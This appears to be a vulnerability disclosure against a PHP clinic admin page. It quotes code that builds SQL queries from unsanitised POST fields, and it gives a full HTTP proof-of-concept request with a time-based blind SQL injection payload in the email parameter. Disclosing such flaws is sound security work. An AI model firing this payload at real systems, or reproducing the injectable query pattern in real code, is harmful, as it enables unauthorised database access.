Found a vulnerability

[KillerFr0st]

admin/add-new.php from line 47, The $email parameter is controllable, the parameter email can be passed through post, and the $email is not protected from sql injection, line 54 $result= $database->query("select * from webuser where email='$email';"); causes sql injection

    if($_POST){
        //print_r($_POST);
        $result= $database->query("select * from webuser");
        $name=$_POST['name'];
        $nic=$_POST['nic'];
        $spec=$_POST['spec'];
        $email=$_POST['email'];
        $tele=$_POST['Tele'];
        $password=$_POST['password'];
        $cpassword=$_POST['cpassword'];

        if ($password==$cpassword){
            $error='3';
            $result= $database->query("select * from webuser where email='$email';");
            if($result->num_rows==1){
                $error='1';
            }else{

                $sql1="insert into doctor(docemail,docname,docpassword,docnic,doctel,specialties) values('$email','$name','$password','$nic','$tele',$spec);";
                $sql2="insert into webuser values('$email','d')";
                $database->query($sql1);
                $database->query($sql2);

                //echo $sql1;
                //echo $sql2;
                $error= '4';

            }

        }else{
            $error='2';
        }

    }else{
        //header('location: signup.php');
        $error='3';
    }

poc

POST /admin/add-new.php HTTP/1.1
Host: 192.168.0.104
Content-Length: 61
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.104
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.70
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.104/admin/doctors.php?action=add&error=3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=mpu5jiv1ln63f3hrl1avff7if7
Connection: close

name=1&email=' AND (SELECT 7810 FROM (SELECT(SLEEP(5)))POrN) AND 'FCcW'='FCcW&nic=4&Tele=5&spec=1&password=6&cpassword=6

Attack results pictures